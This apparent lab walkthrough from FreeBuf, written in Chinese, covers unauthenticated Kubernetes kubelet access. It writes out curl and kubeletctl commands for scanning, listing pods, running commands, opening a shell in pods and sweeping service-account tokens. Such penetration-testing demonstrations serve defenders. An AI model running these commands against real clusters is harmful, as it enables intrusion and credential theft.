freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

K8S Kubelet未授权访问漏洞
2023-11-03 15:44:14

Kubernetes中的kubelet是一个运行在每个工作节点上的核心组件,它负责管理节点上的容器生命周期、资源管理、镜像拉取、节点注册、Pod监控和报告、安全性控制以及日志和指标收集,协作容器运行时,以确保容器在节点上正确运行,从而实现容器编排和自动化容器管理。

Kubelet API Server (Port 10250) 未授权访问漏洞:此漏洞涉及到 kubelet API 服务器的端口 10250。默认情况下,kubelet API 服务器允许未授权的访问,这可能导致恶意用户或应用程序访问和执行敏感操作,如查看节点上的 Pod 数据,甚至更改节点的配置。此漏洞可能会导致安全性问题和数据泄漏。
Kubelet Read-Only Port (Port 10255) 未授权访问漏洞:此漏洞涉及到 kubelet 的只读端口,即端口 10255。默认情况下,kubelet 的只读端口也允许未授权的访问,允许恶意用户或应用程序查看节点上的一些敏感信息,如 Pod 日志和配置。尽管只读端口比完全的 kubelet API 服务器更受限制,但仍可能导致信息泄漏问题。

10250端口未授权访问

k8s默认安装后,kulelet是有授权的。


编辑 kubelet 的配置文件 /var/lib/kubelet/config.yaml (默认位置)并进行以下更改:
1. 设置authentication:anonymous:enabled为true(默认是false)
2. 设置authorization:mode为AlwaysAllow(默认是Webhook)

重启kubelet服务

systemctl restart kubelet

现在可以远程访问了

利用返回的信息执行命令

curl -XPOST -k "https://192.168.159.236:10250/run/kube-system/kube-proxy-ccqvn/kube-proxy" -d "cmd=hostname“

由于一些 API 命令与curl一起使用时比较复杂,我们使用一个更方便的客户端kubeletctl

项目地址:https://github.com/cyberark/kubeletctl

下载并安装

curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.9/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl

接下来我们使用这个工具对kubernetes集群进行发现发现、侦察、远程代码执行

发现:发现10250端口

搜索打开 kubelet 端口的节点,我们可以在特定子网上使用kubeletctl scan命令

kubeletctl scan --cidr 192.168.159.0/24

侦察:列出节点上的pods

确定可访问的 kubelet API 后,我们需要检查可以提取哪些信息。最常见和最重要的信息是/pods端点,它将为我们提供 Pod 列表。

kubeletctl pods --server 192.168.159.236

容器内的远程代码执行

一旦我们获得了 Pod 和容器的详细信息,我们就可以在它们内部运行命令。kubeletctl添加scan rce参数来单独检查每个容器,以查看是否可以在其中运行命令。

kubeletctl scan rce --server 192.168.159.236

执行命令

kubeletctl exec "hostname" -p kube-proxy-ccqvn  -c kube-proxy  -n kube-system --server 192.168.159.236
进入容器

kubeletctl exec sh  -p kube-proxy-ccqvn  -c kube-proxy  -n kube-system --server 192.168.159.236

更高级的一些用法

可以在节点内的所有 pod 上运行命令,而无需单独指定每个 pod 和容器

kubeletctl run "uname -a" --all-pods  --server 192.168.159.236

攻击者在 Kubernetes 环境中最常见的事情之一就是搜索令牌,因此有一个特定的命令可以查看所有容器中的令牌

kubeletctl scan token   --server 192.168.159.236

10255端口未授权访问

默认情况下k8s集群不对外开放10255端口,我们在配置文件config.yaml中添加readOnlyPort: 10255

重启kubelet服务

systemctl restart kubelet

现在可以访问集群的10255端口

10255端口是只读的,只能获取信息,无法对pod执行命令,读取token等操作。

获取pods信息

kubeletctl pods   --server 192.168.159.236 --http --port=10255

执行读取token的命令没有返回结果

kubeletctl scan token   --server 192.168.159.236 --http --port=10255

# 渗透测试 # 系统安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录